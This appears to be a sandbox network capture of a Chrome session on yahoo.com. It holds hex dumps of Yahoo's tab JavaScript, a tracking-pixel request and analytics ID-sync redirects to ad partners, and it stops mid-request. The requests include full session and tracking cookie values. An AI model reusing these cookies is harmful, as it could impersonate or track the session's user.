2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 63 6f 6e 73 74 20 4c 4f 43 41 4c 5f 53 54 4f 52 41 47 45 5f 56 41 52 49 41 42 4c 45 5f 4e 41 4d 45 3d 22 6e 67 79 52 65 63 65 6e 74 6c 79 50 6c 61 79 65 64 47 61 6d 65 73 22 2c 4d 41 58 5f 41 4d 4f 55 4e 54 5f 4f 46 5f 47 41 4d 45 53 5f 49 4e 5f 52 45 43 45 4e 54 4c 59 5f 50 4c 41 59 45 44 3d 32 2c 63 6c 65 61 6e 50 61 74 68 3d 65 3d 3e 65 2e 72 65 70 6c 61 63 65 28 22 2f 67 61 6d 65 73 2f 70 6c 61 79 2f 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2f 24 2f 2c 22 22 29 2c 69 64 48 65 79 59 61 68 6f 6f 3d 22 68 65 79 20 79 61 68 6f 6f 22 2c 69 6e 69 74 3d 28 29 3d 3e 7b 63 6f 6e 73 74 7b 77 61 66 65 72 3a 65 7d 3d 77 69 6e 64 6f 77 2c 7b 6c 6f 63 61 6c 53 74 6f 72 61 67 65 3a 74 7d 3d 65 2e 66 65 61 74 75 72 65 73 3b 6c 65 74 20 61 3d 6e 75 6c 6c 3b 66 Data Ascii: const LOCAL_STORAGE_VARIABLE_NAME="ngyRecentlyPlayedGames",MAX_AMOUNT_OF_GAMES_IN_RECENTLY_PLAYED=2,cleanPath=e=>e.replace("/games/play/","").replace(/\/$/,""),idHeyYahoo="hey yahoo",init=()=>{const{wafer:e}=window,{localStorage:t}=e.features;let a=null;f
2024-04-27 22:41:57 UTC	119	IN	Data Raw: 66 65 72 3a 77 61 66 65 72 7d 3d 77 69 6e 64 6f 77 3b 77 61 66 65 72 3f 77 61 66 65 72 2e 72 65 61 64 79 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 6e 69 74 28 29 7d 29 29 3a 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 77 61 66 65 72 3a 72 65 61 64 79 22 2c 28 28 29 3d 3e 7b 69 6e 69 74 28 29 7d 29 29 3b Data Ascii: fer:wafer}=window;wafer?wafer.ready((function(){init()})):document.body.addEventListener("wafer:ready",(()=>{init()}));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	49914	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:57 UTC	538	OUT	GET /aaq/wf/wf-tabs-1.12.6-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:57 UTC	848	IN	HTTP/1.1 200 OK x-amz-id-2: 1s6B5x6wd3pbox4kIoWNRlCQa+j0zuPq9IqAHv/7va2I2kTKSA1fls+F063hCJ18qybOwi7U2tsn1Dnld0vVrGOT1G1mPtLm x-amz-request-id: DF9Z1F3Z7KW5NVJM Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Tue, 15 Mar 2022 07:44:13 GMT ETag: "ff6533febe2f4fb2e2dbaa32b38c5d20" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 9l5UHTD.5HUg6MnfgIovkt0YXJhWC8kn Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 14567 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 730 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 74 61 62 73 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 74 61 62 73 22 5d 3d 65 28 29 3a 28 74 2e 77 61 66 65 72 3d 74 2e 77 61 66 65 72 7c 7c 7b 7d 2c 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 74 Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-tabs",[],e):"object"==typeof exports?exports["wafer-tabs"]=e():(t.wafer=t.wafer\|\|{},t.wafer.wafers=t.wafer.wafers\|\|{},t
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 26 26 65 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 74 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 65 29 3a 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 65 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 65 29 7b 69 66 28 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 Data Ascii: ype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a func
2024-04-27 22:41:57 UTC	1186	IN	Data Raw: 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 69 29 7b 72 65 74 75 72 6e 20 61 26 26 74 28 65 2e 70 72 6f 74 6f 74 79 70 65 2c 61 29 2c 69 26 26 74 28 65 2c 69 29 2c 65 7d 7d 28 29 2c 68 3d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 61 2c 69 29 7b 6e 75 6c 6c 3d 3d 3d 65 26 26 28 65 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 3b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 61 29 Data Ascii: umerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}return function(e,a,i){return a&&t(e.prototype,a),i&&t(e,i),e}}(),h=function t(e,a,i){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,a)
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 72 69 62 75 74 65 28 45 2b 22 74 61 62 73 2d 61 6c 6c 6f 77 64 65 66 61 75 6c 74 22 29 2c 62 3d 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 45 2b 22 64 69 73 61 62 6c 65 2d 66 6f 63 75 73 22 29 2c 70 3d 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 45 2b 22 61 72 69 61 22 29 2c 67 3d 4e 75 6d 62 65 72 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 45 2b 22 61 75 74 6f 2d 73 77 69 74 63 68 22 29 29 7c 7c 30 2c 79 3d 4e 75 6d 62 65 72 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 45 2b 22 61 75 74 6f 2d 73 77 69 74 63 68 2d 74 69 6d 65 6f 75 74 22 29 29 7c 7c 32 65 33 2c 54 3d 4e 75 6d 62 65 72 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 45 2b 22 61 75 74 6f 2d 73 77 69 74 63 68 2d 72 6f 74 61 74 69 6f 6e 2d 69 6e 74 65 72 76 61 6c 22 29 29 7c 7c 30 Data Ascii: ribute(E+"tabs-allowdefault"),b=t.hasAttribute(E+"disable-focus"),p=t.hasAttribute(E+"aria"),g=Number(t.getAttribute(E+"auto-switch"))\|\|0,y=Number(t.getAttribute(E+"auto-switch-timeout"))\|\|2e3,T=Number(t.getAttribute(E+"auto-switch-rotation-interval"))\|\|0
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 49 6e 64 65 78 3d 5f 3b 76 61 72 20 52 3d 4e 2e 74 61 62 73 45 6c 65 6d 73 5b 5f 5d 3b 52 26 26 73 2e 61 63 74 69 76 61 74 65 54 61 62 28 52 2e 74 61 62 45 6c 65 6d 2c 7b 73 6b 69 70 53 63 72 6f 6c 6c 3a 21 30 2c 75 73 65 54 72 69 67 67 65 72 3a 21 31 7d 29 7d 72 65 74 75 72 6e 20 41 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 73 5b 74 5d 3d 73 5b 74 5d 2e 62 69 6e 64 28 73 29 7d 29 2c 67 26 26 73 2e 73 65 74 54 69 6d 65 6f 75 74 46 6f 72 54 61 62 43 68 61 6e 67 65 28 29 2c 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 73 7d 72 65 74 75 72 6e 20 73 28 65 2c 74 29 2c 63 28 65 2c 5b 7b 6b 65 79 3a 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 Data Ascii: Index=_;var R=N.tabsElems[_];R&&s.activateTab(R.tabElem,{skipScroll:!0,useTrigger:!1})}return A.forEach(function(t){s[t]=s[t].bind(s)}),g&&s.setTimeoutForTabChange(),s.addEventListeners(),s}return s(e,t),c(e,[{key:"addEventListeners",value:function(){var
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 61 62 28 22 6e 65 78 74 22 29 2c 74 2e 73 65 74 54 69 6d 65 6f 75 74 46 6f 72 54 61 62 43 68 61 6e 67 65 28 29 7d 2c 65 2c 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 73 77 69 74 63 68 54 61 62 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 61 3d 65 2e 66 6f 63 75 73 2c 69 3d 76 6f 69 64 20 30 21 3d 3d 61 26 26 61 2c 6f 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 74 61 62 73 45 6c 65 6d 73 2c 73 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 49 6e 64 65 78 2c 72 3d 22 6e 65 78 74 22 3d 3d 3d 74 3f 73 2b 31 3a 73 2d 31 3b 73 3d 3d 3d 6f 2e 6c 65 6e 67 74 Data Ascii: ab("next"),t.setTimeoutForTabChange()},e,this)}},{key:"switchTab",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},a=e.focus,i=void 0!==a&&a,o=this._util.tabsElems,s=this._state.activeIndex,r="next"===t?s+1:s-1;s===o.lengt
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 22 77 61 66 65 72 2d 66 65 74 63 68 22 29 5b 30 5d 2c 67 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 79 3d 67 2e 61 63 74 69 76 65 43 6c 61 73 73 2c 6d 3d 67 2e 62 6f 75 6e 64 61 72 79 2c 77 3d 67 2e 65 6c 65 6d 2c 5f 3d 67 2e 69 6e 61 63 74 69 76 65 43 6c 61 73 73 2c 45 3d 67 2e 73 69 6e 67 6c 65 54 61 62 70 61 6e 65 6c 2c 41 3d 67 2e 73 68 6f 75 6c 64 41 75 74 6f 53 77 69 74 63 68 2c 4f 3d 67 2e 73 68 6f 75 6c 64 53 63 72 6f 6c 6c 52 65 73 74 6f 72 65 2c 53 3d 67 2e 73 68 6f 75 6c 64 55 73 65 41 72 69 61 2c 6b 3d 67 2e 74 61 62 73 45 6c 65 6d 73 2c 43 3d 67 2e 74 61 72 67 65 74 45 6c 65 6d 73 2c 78 3d 74 68 69 73 2e 5f 73 74 61 74 65 2c 46 3d 78 2e 61 63 74 69 76 65 49 6e 64 65 78 2c 6a 3d 78 2e 74 61 62 73 54 6f 70 53 74 79 6c 65 49 6e 50 69 78 65 6c 3b 62 3d Data Ascii: "wafer-fetch")[0],g=this._util,y=g.activeClass,m=g.boundary,w=g.elem,_=g.inactiveClass,E=g.singleTabpanel,A=g.shouldAutoSwitch,O=g.shouldScrollRestore,S=g.shouldUseAria,k=g.tabsElems,C=g.targetElems,x=this._state,F=x.activeIndex,j=x.tabsTopStyleInPixel;b=
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 68 69 64 64 65 6e 22 29 2c 76 2e 75 6e 6c 6f 63 6b 28 69 29 2c 76 2e 73 79 6e 63 28 6e 29 2c 76 2e 73 79 6e 63 55 49 28 6e 29 2c 68 26 26 73 26 26 76 2e 74 72 69 67 67 65 72 28 69 29 2c 76 2e 65 6d 69 74 57 61 66 65 72 45 76 65 6e 74 28 22 74 61 62 3a 73 65 6c 65 63 74 65 64 22 2c 7b 65 6c 65 6d 3a 77 2c 6d 65 74 61 3a 7b 74 61 62 45 6c 65 6d 3a 69 2c 74 61 72 67 65 74 45 6c 65 6d 3a 6e 7d 7d 29 7d 7d 65 6c 73 65 20 76 2e 6c 6f 63 6b 28 69 29 2c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 64 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 73 65 6c 65 63 74 65 64 22 2c 21 31 29 2c 53 26 26 28 6e 26 26 6e 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 68 69 64 64 65 Data Ascii: removeAttribute("hidden"),v.unlock(i),v.sync(n),v.syncUI(n),h&&s&&v.trigger(i),v.emitWaferEvent("tab:selected",{elem:w,meta:{tabElem:i,targetElem:n}})}}else v.lock(i),i.classList.remove(d),i.setAttribute("aria-selected",!1),S&&(n&&n.removeAttribute("hidde
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 65 54 61 62 28 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 54 61 72 67 65 74 46 6f 63 75 73 49 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 5f 75 74 69 6c 2e 73 68 6f 75 6c 64 41 75 74 6f 53 77 69 74 63 68 26 26 74 68 69 73 2e 70 61 75 73 65 53 77 69 74 63 68 69 6e 67 28 29 7d 7d 2c 7b 6b 65 79 3a 22 74 61 62 46 6f 63 75 73 49 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 61 3d 65 2e 73 68 6f 75 6c 64 48 61 6e 64 6c 65 46 6f 63 75 73 2c 69 3d 65 2e 66 6f 63 75 73 4f 75 74 54 69 6d 65 6f 75 74 3b 61 26 26 28 69 26 26 79 28 69 2c 74 68 69 73 29 2c 74 68 69 73 2e 61 63 74 69 76 61 74 65 54 61 62 28 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 29 29 7d 7d Data Ascii: eTab()}},{key:"handleTargetFocusIn",value:function(t){this._util.shouldAutoSwitch&&this.pauseSwitching()}},{key:"tabFocusIn",value:function(t){var e=this._util,a=e.shouldHandleFocus,i=e.focusOutTimeout;a&&(i&&y(i,this),this.activateTab(t.currentTarget))}}
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 69 76 65 54 61 62 45 6c 65 6d 3b 65 26 26 74 68 69 73 2e 73 65 74 54 69 6d 65 6f 75 74 46 6f 72 54 61 62 43 68 61 6e 67 65 28 29 2c 61 26 26 69 26 26 6f 26 26 74 68 69 73 2e 64 65 61 63 74 69 76 61 74 65 54 61 62 28 6f 29 7d 7d 2c 7b 6b 65 79 3a 22 74 61 62 43 68 61 6e 67 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 65 76 65 6e 74 54 61 72 67 65 74 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 7c 7c 30 3b 74 68 69 73 2e 61 63 74 69 76 61 74 65 54 61 62 28 74 2e 65 76 65 6e 74 54 61 72 67 65 74 2e 6f 70 74 69 6f 6e 73 5b 65 5d 29 7d 7d 2c 7b 6b 65 79 3a 22 64 65 73 74 72 6f 79 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 61 75 73 65 Data Ascii: iveTabElem;e&&this.setTimeoutForTabChange(),a&&i&&o&&this.deactivateTab(o)}},{key:"tabChange",value:function(t){t.preventDefault();var e=t.eventTarget.selectedIndex\|\|0;this.activateTab(t.eventTarget.options[e])}},{key:"destroy",value:function(){this.pause

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	49918	3.162.112.116	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:57 UTC	877	OUT	GET /p?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1714257714229 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=1D48bace37dc6f510e89ade1714257697
2024-04-27 22:41:57 UTC	781	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Sat, 27 Apr 2024 22:41:57 GMT set-cookie: UID=1D48bace37dc6f510e89ade1714257697; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 set-cookie: PID=13Dcddd8f0b332e35e656641714257717; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=7776000 set-cookie: XID=1D48bace37dc6f510e89ade1714257697; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=62208000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 d45137f973d454db77c647196f56613a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P2 X-Amz-Cf-Id: h81akYD7eSZL9ZPoJ-zlC1GRLKofpnZ9KEjlb2Xwv9rWkI4uPzwl3g==
2024-04-27 22:41:57 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	49920	34.200.65.202	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	1384	OUT	GET /ups/58746/sync?ui=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2&redir=true&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC=19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y
2024-04-27 22:41:58 UTC	689	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:41:58 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:58 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://trc.taboola.com/sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2&us_privacy=1YNN Age: 0 Connection: close Server: ATS/9.1.10.112

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	49919	34.200.65.202	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	1285	OUT	GET /ups/58739/cms?partner_id=BLKAI&orig=ono HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC=19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y
2024-04-27 22:41:58 UTC	568	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:41:58 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:58 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://tags.bluekai.com/site/19505?id=y-vJfbWEtE2pKd9.lkoxhGreisgOFyKZYFM88-~A Age: 0 Connection: close Server: ATS/9.1.10.112

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	49922	34.200.65.202	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	1297	OUT	GET /ups/58782/cms?partner_id=ADOBE&orig=ono&redir2=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; 